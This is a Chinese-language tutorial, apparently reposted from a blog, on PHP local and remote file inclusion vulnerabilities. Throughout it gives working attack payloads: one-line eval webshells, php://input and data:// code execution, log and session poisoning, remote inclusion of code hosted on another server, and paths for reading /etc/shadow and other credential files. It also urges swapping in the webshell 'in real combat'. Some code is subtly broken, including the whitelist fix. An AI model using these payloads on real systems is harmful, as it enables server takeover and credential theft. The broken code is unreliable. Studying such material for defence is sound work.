文件包含漏洞全面详解

Posted caker丶

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件包含漏洞全面详解相关的知识,希望对你有一定的参考价值。

文件包含漏洞总结

一、什么是文件包含漏洞

1.文件包含漏洞概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以php为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()

区别如下:

  • require():找不到被包含的文件会产生致命错误,并停止脚本运行
  • include():找不到被包含的文件只会产生警告,脚本继续执行
  • require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
  • include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

2.漏洞成因分析
我们先直接来看一个简单的例子,网页代码如下:

<?php
	include $_GET['test'];
?>

在创建一个phpinfo.php页面,代码如下:

<?php
	phpinfo();
?>

利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析

将phpinfo.php文件后缀改为txt后进行访问,依然可以解析:

将phpinfo.php文件后缀改为jpg格式,也可以解析:

可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

在上一期的文件上传漏洞的总结中,我们上传了一个jpg格式的一句话木马,如果网站有文件包含漏洞,jpg文件就可以被当做php文件解析,所以这就是文件上传漏洞通常配合文件上传使用。

现在我们将phpinfo.jpg的内容改成一段文字:hello world!
再次进行访问,可以读出文本内容

利用这个特性,我们可以读取一下包含敏感信息的文件。

二、本地文件包含漏洞(LFI)

能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)
测试网页包含如下代码:

<?php
	$file=$_GET['filename'];
	include($file);
?>

网站利用文件包含功能读取一些php文件,例如phpinfo:

利用该代码,我们可以读取一些系统本地的敏感信息。
例如:C:\\Windows\\system.ini文件。
(1)使用绝对路径
使用绝对路径直接读取:

(2)使用相对路径进行读取
通过./表示当前位置路径,…/表示上一级路径位置,在linux中同样适用。

例如当前页面所在路径为C:\\Apache24\\htdocs\\,我们需要使用…/退到C盘再进行访问,构造路径如下:
../../windows/system.ini

由于我的环境搭建在D盘,所以这里就不做演示了。

(3)一些常见的敏感目录信息路径:
Windows系统:

  • C:\\boot.ini //查看系统版本
  • C:\\windows\\system32\\inetsrv\\MetaBase.xml //IIS配置文件
  • C:\\windows\\repair\\sam //存储Windows系统初次安装的密码
  • C:\\ProgramFiles\\mysql\\my.ini //Mysql配置
  • C:\\ProgramFiles\\mysql\\data\\mysql\\user.MYD //MySQL root密码
  • C:\\windows\\php.ini //php配置信息

Linux/Unix系统:

  • /etc/password //账户信息
  • /etc/shadow //账户密码信息
  • /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
  • /usr/local/app/php5/lib/php.ini //PHP相关配置
  • /etc/httpd/conf/httpd.conf //Apache配置文件
  • /etc/my.conf //mysql配置文件

三、LFI漏洞利用技巧

1.配合文件上传使用

有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。

以DVWA平台为例,将Security Level选择low,编辑一个图片马,内容如下:

<?php
	fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
?>

找到上传点进行上传:

文件保存的完整路径为:

DVWA平台low等级文件包含漏洞页面如下:

该页面用于读取C:\\phpStudy\\WWW\\vulnerabilities\\fi\\路径中的文件,代码如下:

现在我们利用该页面去执行我们上传的图片马

构造URL如下,代码成功解析,我这里使用的phpinfo进行测试,实战直接替换为上述所写的一句话木马即可。

注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。

2.包含Apache日志文件

有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。


在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log,日志文件如下:

当我们正常访问一个网页时,如`http://127.0.0.1/phpinfo.php,access日志会进行记录,如下图所示:

如果我们访问一个不存在的资源,也一样会进行记录,例如访问

127.0.0.1<?php phpinfo();?>

网页会显示403

但查看日志会发现被成功记录但被编码了,如下:

我们再次进行访问,并使用burp抓包,发现被编码:

我们将报文修改回去,再进行发送即可:

此时再查看access日志,正确写入php代码:

再通过本地文件包含漏洞访问,即可执行

我们可以在此处写入一句话木马,再使用webshell管理工具进行连接。

3.包含SESSION文件

可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

利用条件:

  • 找到Session内的可控变量
  • Session文件可读写,并且知道存储路径

php的session文件的保存路径可以在phpinfo的session.save_path看到。

session常见存储路径:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID
  • session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。

相关案例可以查看这道CTF题一道CTF题:PHP文件包含

4.包含临时文件


php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\\windows\\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

这个方法可以参考LFI With PHPInfo Assistance
类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题: XMAN夏令营-2017-babyweb-writeup

四、远程文件包含(RFI)

如果PHP的配置选项allow_url_includeallow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)

首先我们来看一段代码

<?php
	$path=$_GET['path'];
	include($path . '/phpinfo.php');
?>

访问本地site目录下的phpinfo.php文件:

该页面并没有对$path做任何过滤,因此存在文件包含漏洞。

我们在远端Web服务器/site/目录下创建一个test.php文件,内容为phpinfo(),利用漏洞去读取这个文件。

但是代码会给我们输入的路径后面加上’/phpinfo.php’后缀,如果php版本小于5.3.4,我们可以尝试使用%00截断,这里php版本为7.3.4,不适用。

还有一种截断方法就是?号截断,在路径后面输入?号,服务器会认为?号后面的内容为GET方法传递的参数,成功读取test.php如下:

如果test.php是恶意的webshell文件,那么利用该漏洞就可以获取到服务器权限。

五、PHP伪协议

PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数

如下所示

1.file://协议

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

file:// [文件的绝对路径和文件名]

2.php://协议

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://input
php://filter用于读取源码
php://input用于执行php代码

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
利用条件:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

例如有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开当前目录下的2.php:

他只显示了一条语句,这时候我们可以以base64编码的方式读取指定文件的源码:

输入
php://filter/convert.base64-encode/resource=文件路径
得到2.php加密后的源码:

再进行base64解码,获取到2.php的完整源码信息:

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
利用条件:

  • allow_url_fopen :off/on
  • allow_url_include:on

利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:

发送报文,可以看到本地生成了一句话木马:

3.ZIP://协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

  • zip://中只能传入绝对路径。
  • 要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
  • 只需要是zip的压缩包即可,后缀名可以任意更改。
  • 相同的类型还有zlib://和bzip2://

利用条件:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

POC为:

zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\\1.zip%23phpinfo.txt

4.data://协议

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
利用条件:

  • allow_url_fopen :on
  • allow_url_include:on

POC为:

data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=


5.伪协议利用条件

伪协议的利用方法还有很多,这里就不一一举例了。
伪协议的用法小结

六、文件包含漏洞防护

1、使用str_replace等方法过滤掉危险字符

2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中

3、php版本升级,防止%00截断

4、对上传的文件进行重命名,防止被读取

5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。

6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化

✔PHP文件包含漏洞全面总结

我的另一篇博客总结的不够全面,但依然有借鉴价值:https://www.cnblogs.com/Zeker62/p/15192610.html

文件包含的定义

  • 如果文件包含函数没有经过严格的过滤或者定义
    并且参数可以被用户控制
    这样就有可能包含非预期的文件。
  • 如果文件中存在恶意代码,无论文件是什么类型
    恶意代码都会被解析。
  • 文件包含漏洞可能会造成服务器的网页被篡改,网站被挂马,服务器被远程控制,被安装后门等危害

文件包含漏洞常见函数

PHP文件包含函数有以下四种:

  • include
  • inclued_once
  • require
  • require_once

require()/require_once():如果在包含过程中有错,那么直接退出,不执行进一步操作。include()/include_once(): 如果在包含过程中出错,只会发出警告

加上后缀_once的作用:如果文件已经包含过了,那么不会再次包含

当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析

文件包含漏洞示例代码分析

文件包含漏洞示例代码如下:

<?php
	$file=$_GET['file'];
	include $file;
?>

上面的代码没有对$_GET['file']参数进行严格的过滤,直接代入到了include中去,攻击者可以传递file参数的值来达到攻击的目的,比如?file=../../etc/passwd来实现窃读密码文件的目的。

无限制本地文件包含漏洞

定义以及代码实现

无限制本地文件包含漏洞是没有为包含文件指定特定的前缀或者拓展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,或者执行其他文件中的代码

常见的敏感信息路径

Windows下常见敏感文件

目录内容
\\boot.ini系统版本信息
\\xxx\\php.iniPHP配置信息
\\xxx\\my.iniMYSQL配置信息
\\xxx\\httpd.confApache配置信息

Linux下常见敏感文件

目录内容
/etc/passwdLinux系统账号信息
/etc/httpd/conf/httpd.confApache配置信息
/etc/my.confMySQL配置信息
/usr/etc/php.iniPHP配置信息

漏洞利用

无限制本地文件包含漏洞示例代码

<?php
	$file=$_GET['file'];
	include ($file);
?>

读取文件内容

通过目录遍历可以获取系统中/etc/passwd文件的内容,使用示例如下:http://www.abc.com/flie.php?file=../../../../etc/passwd

利用无限制本地文件包含漏洞执行代码

可以通过文件包含功能执行任意拓展名的文件中的代码
比如:
在同一目录下,有如下名为phpinfo.txt文件:

<?phpinfo();?>

当页面访问index.php的时候,如果输入URL:http://...../index.php?file=phpinfo.txt
就会轻而易举执行txt中的phpinfo()函数,并回显内容。

总结:这种情况的实现条件是:

  • PHP代码中有相关的文件包含函数:比如 include ($file)
  • 攻击者能够对包含的变量进行传递参数:比如 \\$file=$_GET['file'];

有限制本地文件包含漏洞

有限制本地文件包含漏洞是指代码中为包含文件指定了特定的前缀或者拓展名,攻击者必须要对前缀或者拓展名过滤,才能达到利用文件包含漏洞读取操作。

常见的过滤绕过方式有三种:

  • %00 截断文件包含
  • 路径长度截断包含
  • 点好截断文件包含

%00截断文件包含

利用条件

这个漏洞的使用必须满足如下条件

  • magic_quotes_gpc=off
  • PHP版本低于5.3.4

示例代码

<?php
	$file=$_GET['file'];
	include ($file.".html");
?>

测试结果

输入以下测试代码:http://www.abc.com/xxx/file.php?file=../../../../../../boot.ini%00
通过%00截断了后面的html拓展名过滤,成功读取了boot.ini的内容

路径长度截断文件包含

操作系统存在着最大路径长度的限制。可以输入超过最大路劲长度的目录,这样系统就会将后面的路劲丢弃,导致拓展名截断。

漏洞利用条件

  • Windows下最大路径长度为256B
  • Linux下最大路径长度为4096B

示例代码

<?php
	$file=$_GET['file'];
	include ($file.".html");
?>

测试结果

输入测试以下代码:

http://www.abc.com/xxx/file.php?file=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

执行后发现已经成功截断了后面的拓展名

点号截断文件包含

漏洞利用条件

点号截断包含只使用与Windows系统,点号的长度大于256B的时候,就可以造成拓展名截断

示例代码

<?php
	$file=$_GET['file'];
	include ($file.".html");
?>

测试结果

http://www.abc.com/xxx/file.php?file=test.txt.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

发现已经成功截断了html拓展名

Session文件包含漏洞

当可以获取session文件路径并且session文件的内容可控的的时候,就可以通过包含session文件进行攻击

利用条件

session文件包含的利用条件有两个:

  • Session的存储位置可以获取
  • Session的内容可控

一般通过以下两种方式获取session的存储位置:

  • 通过phpinfo的信息获取session的存储位置。
    通过phpinfo的信息获取session.save_path
  • 通过猜测默认的session存储位置进行尝试
    通常Linux中的Session的默认存储位置在/var/lib/php/session目录下

示例分析

session文件包含代码如下

session_start();
$ctfs=$_GET['ctfs'];
$_SESSION['username']=$ctfs

此代码可以通过GET型的ctfs参数传入。PHP代码将会获取的值存入到Session中。
攻击者可以利用ctfs参数将恶意代码写入到session文件中,然后在利用文件包含漏洞包含此session文件,向系统中传递恶意代码。

漏洞分析

上面的代码满足Session文件包含的两个要求

  • PHP代码将会获取ctfs变量的值存入到session中
  • Session的默认 存储位置是/var/lib/php/session

访问URL:http://www.abc.com/xxx/session.php?ctfs=a 会在/var/lib/php/session目录下降ctfs传入的值存储到session中Session的文件名以sess_开头,后跟Sessionid,Sessionid可以通过开发者模式获取:
单击右键——检查——存储——Cookie——PHPSESSID 就可以找到内容

假设通过开发者模式获取到的sessionid的值为hufh7hsdf392eurh4,所以session的文件名为sess_hufh7hsdf392eurh4
在/var/lib/php/session目录下查看此文件,内容为:username|s:4:"a"

漏洞利用

通过上面的分析,可以得知,向ctfs参数传入的内容会存储到session文件中。
如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到Session文件当中去,然后通过文件包含漏洞执行getshell

例如:访问代码http://www.abc.com/xxx/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下降ctfs的值写入session文件
session文件的内容为:username|s:18:"<?php phpinfo();?>".

攻击步骤

  • 将恶意代码写入session文件
  • 攻击者可以通过PHPinfo或者猜测到session存放的位置
  • 通过开发者模式可以获得文件名称
  • 通过本地文件包含漏洞可以解析session文件达到攻击的目的

比如:http://www.abc.com/xxx/file.php?file=../../var/lib/php/session/sess_7sdfysdfywy9323cew2

日志文件包含

服务器的中间件,ssh服务都有日志记录的功能。如果开启了日志记录功能,用户访问的日志就会存储到不同服务的相关文件。
如果日志文件的位置是默认位置或者是可以通过其他方法获取,就可以通过访问日志将恶意代码写入到日志文件中去,然后通过文件包含漏洞包含日志中的恶意代码,获得权限。
典型的日志文件包含:

  • 中间件日志文件包含
  • ssh日志文件包含

中间件日志文件包含

利用条件:

  • web中间件日志文件的存储位置已知,并且具有可读权限

下面开始介绍日志文件包含漏洞利用步骤

将恶意代码写入到日志文件

中间件开启了访问日志记录功能,会访问日志写入到日志文件中。
假设访问URL:http://192.168.1.2/xxx/index.php
发现会在日志文件中有如下内容:

[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:31:20 +0800] "GET /xxx/index.php HTTP/1.1" 200 86....

中间件日志访问会记录访问者的IP地址、访问时间、访问路径、返回状态码等等。
利用中间件访问记录路径到日志文件中的功能,将恶意代码写入到日志文件当中去:
添加恶意代码:http://www.abc.com/xxx/<?php @eval($_POST[123]);?>
此时会提示404,但是不急
查看日志文件,发现已经将内容写入

[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:35:23 +0800] "GET /xxx/%3C?php @eval($_POST[123]);?%3E HTTP/1.1" 404 826....

虽然已经写入到日志文件中去了,但是浏览器进行了URL编码,导致传入的代码不能正常使用可以通过burpsuite抓包的方式写入恶意代码,这样不会被浏览器进行URL编码
查看日志文件,内容如下

[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:37:33 +0800] "GET /xxx/<?php @eval($_POST[123]);?> HTTP/1.1" 404 302....

恶意代码成功写入

文件包含日志文件

要执行文件包含,必须要知道日志文件的位置。
常见的中间件日志文件都有默认的存储路径,比如Apache的中间件日志文件存在/var/log/httpd/目录下,文件名叫access_log
输入测试语句http://www.abc.com/xxx/file.php?file=../../../var/log/httpd/access_log
之后在向网页传入POST参数:123=phpinfo
即可显示出phpinfo的内容

SSH日志文件包含

SSH日志文件包含的利用条件是:

  • SSH日志路径已知,并且具有可读权限

SSH日志文件的默认路径为/var/log/auth.log

下面介绍漏洞利用步骤

将恶意代码写入文件

SSH如果开启了日志记录的功能,那么会将ssh的连接日志记录到ssh日志文件当中
将连接的用户名设置成恶意代码,用命令连接服务器192.168.1.1的ssh服务ssh "<?php @eval($_POST[123]);?>"@192.168.1.1
查看日志文件/var/log/auth.log,可以观察到恶意代码已经写入到日志文件

使用文件包含日志文件

测试输入语句:http://192.168.1.1/xxx/file.php?file=../../../var/log/auth.log
之后再向网页传入POST参数:123=phpinfo
就可以出现phpinfo的内容了

远程文件包含

无限制远程文件包含

无限制远程文件包含是指包含文件的位置并不在本地服务器,而是通过URL的形式包含到其他服务器上的文件,以及执行文件中的恶意代码
漏洞利用的条件是:

allow_url_fopen=on
allow_url_include=on

无限远程执行文件的代码如下:

<?php
	$file=$_GET['file'];
	include $file;
?>

设定一个文件:php.txt 的内容为<?php phpinfo();?>
在正常情况下访问远程服务器URL,http://192.168.2.1/php.txt
包含在php.txt中的phpinfo函数不会当做PHP代码执行,但是通过远程文件包含漏洞,包含在php.txt的phpinfo函数会被当做PHP代码执行http://www.abc.com/file.php?file=http://192.168.2.1/php.txt

有限制的远程文件包含

有限制的远程文件包含是代码中存在特定的前缀和后缀.php /.html 等拓展名过滤的时候,攻击者需要绕过前缀或者拓展名过滤,才能远程执行URL代码
示例代码如下

include($_GET['filename'].".html");

通常有限制的远程文件包含可以通过问号、井号、空格绕过

通过问号绕过

可以在问号后面添加html字符串,问号后面的拓展名会被当做查询,从而绕过过滤http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt?

通过井号绕过

可以在#后面添加HTML字符串,#会截断后面的拓展名,从而绕过拓展名过滤.#的URL编码为%23http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%23

通过空格绕过

http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%20

PHP 伪协议

PHP带有很多内置的URL风格的封装协议,可用于 fopen\\copy\\file_exists\\filesize等文件系统函数
常见的PHP伪协议如下:

  • file:// 访问本地文件系统
  • http:// 访问http(s)网址
  • ftp:// 访问ftp(s)URL
  • php:// 访问各个输入输出流
  • zlib:// 处理压缩流
  • data:// 读取数据
  • glob:// 找查匹配的文件路径模式
  • phar:// PHP归档
  • ssh2:// Secure Shell 2
  • rar:// RAR处理压缩数据
  • ogg:// 处理音频流
  • expect:// 处理交互式的流

php://伪协议

php://filter

php://filter 是元封装器,设计用于数据流打开时筛选过滤应用,对本地磁盘文件进行读写
以下两种用法相同?filename=php://filter/read=convert.base64-encode/resource=xxx.php?filename=php://filter/convert.base64-encode/resource=xxx.php
使用php://filter allow_url_fopen和allow_url_include不需要开启

前缀名称后加内容描述
resource=要过滤的数据流指定要过滤的数据流
read=读链的筛选器列表参数可选,可设定一个或者多个筛选器名称,以管道符(|)分隔
write=写链的筛选器列表参数可选,可设定一个或者多个筛选器名称,以管道符(|)分隔
两个链的筛选器列表没有用read=或者write=做前缀的筛选器列表会是轻快应用于读或者写

这样文件会以base64的编码打开,使用python解码即可

import base64
print(base64.b64decode("........."))

php://input

php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使用enctype="multipart/form-data"的时候php://input是无效的。
php://input有以下三种用法

读取POST数据

php://input可以读取POST上没有经过解析的原始数据
利用php://input 读取POST数据的时候,allow_url_fopen和allow_url_include不需要开启
示例代码如下

echo file_get_contents("php://input");

上面代码输出file_get_contents函数获取的php://input数据。
测试时传入POST数据字符串test
最后会在页面回显出test

写入木马

利用php://input写入木马的时候,PHP配置文件只需要开启allow_url_include
如果POST传入的是PHP代码,就可以写入木马
示例代码如下:

<?php
	$file=$_GET['file'];
	include($file);
?>

如果POST传入的是一个执行写入木马的PHP代码,就会在当前目录下写入一个木马,通过POST方法传入的是以下代码<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
利用php://input传入木马的PHP代码http"//www.abc.com/xxx/file.php?file=php://input
测试的结果就是通过php://input传入了这个代码,并在当前目录下建立了shell.php文件

执行命令

示例代码如下:

<?php
	$file=$_GET['file'];
	include($file);
?>

利用php://input执行命令的时候,PHP配置文件只需要开启allow_url_include
如果POST传入的是PHP代码,就可以执行任意代码,如果此时PHP代码调用了系统函数,就可以执行该命令
比如传入POST参数<?php system('ls');?>

file: //伪协议

file:// 可以访问本地文件系统,读取本地文件的内容
使用file:// 不需要开启allow_url_fopen和allow_url_include
示例代码如下:

<?php
	$file=$_GET['file'];
	include($file);
?>

可以输入以下URLhttp://www.abc.com/xxx/file.php?file=file://c:/boot.ini
这个命令就可以起到访问本地文件的目的

data:// 伪协议

从PHP5.2.0起,数据封装流就开始有效,用于数据流的读取。
如果传入的都是PHP代码,就会执行任意代码
使用方法如下data://text/plain;base64,xxxxx(base64编码后的数据)利用data:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include
代码示例如下:

<?php
	$file=$_GET['file'];
	include($file);
?>

通过data:// 伪协议传送phpinfo代码,<?php phpinfo();?>的base64编码为PD9waHAgcGhwaW5mbygpOz8+,需要对加号进行URL编码:%2b
最终输入的data数据是:data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
传入到URL就是http://www.abc.com/xxx/file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://伪协议

phar:// 是用来解压的伪协议
phar://不管参数中是什么拓展名,都会被当做压缩包
用法:?file=phar://压缩包/压缩文件
比如:phar://xxx.png/shell.php利用phar:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include,并且PHP版本要高于5.3.0

注意:压缩包需要用zip://伪协议压缩而不能用rar://,将木马文件压缩后,改成任意后缀名都可以正常使用

代码示例如下:

<?php
	$file=$_GET['file'];
	include($file);
?>

写一个木马文件shell.php,然后用zip://伪协议压缩成shell.zip,最后修改后缀名为.png,上传图片
输入测试:http://www.abc.com/xxx/file.php?file=phar://shell.png/shell.php

这样phar://就会将png当做zip压缩包进行解压,并且访问解压后的shell.php文件

zip:// 伪协议

和phar://伪协议原理类似,但用法不同
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]利用zip:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include,并且PHP版本要高于5.3.0

注意:需要将#转换成URL编码:%23

代码示例如下:

<?php
	$file=$_GET['file'];
	include($file);
?>

输入测试:http://www.abc.com/xxx/file?file=zip://D:/phpstudy/www/.../test.png%23shell.php (zip必须是绝对路径)
这样zip://就会将png当做zip压缩包进行解压,并且访问解压后的shell.php文件

expect://伪协议

expect://伪协议用来执行系统命令,但是需要安装拓展
用法: ?file=expect://ls

文件包含漏洞修复

代码配置

可以在代码层对文件包含进行过滤,设置包含的参数的白名单,假设网站只包含文件为index.php和admin.php
就可以定义好代码如下:

<?php
    $filename=$_GET['filename'];
    switch ($filename) {
        case 'index':
        case 'admin':
            include('/var/www/html/'.filename.'.php');
            break;
        default:
            break;
    }
?>

服务器配置

  • 修改PHP配置文件,将open_basedir的值设置为可以包含的特定目录,后面要加/,例如open_basedir=/var/www/html/
  • 修改PHP配置文件,关闭allow_url_include

以上是关于文件包含漏洞全面详解的主要内容,如果未能解决你的问题,请参考以下文章

网络安全面试题—如何注入攻击Java Python PHP等主流语言

七伤拳:Web安全之文件包含漏洞专题—第六天

PHP文件包含漏洞攻防实战(allow_url_fopenopen_basedir)

web安全文件上传JS&后缀黑白名单&格式检测

✔PHP文件包含漏洞全面总结

网站漏洞——文件判断函数的安全风险(实战篇)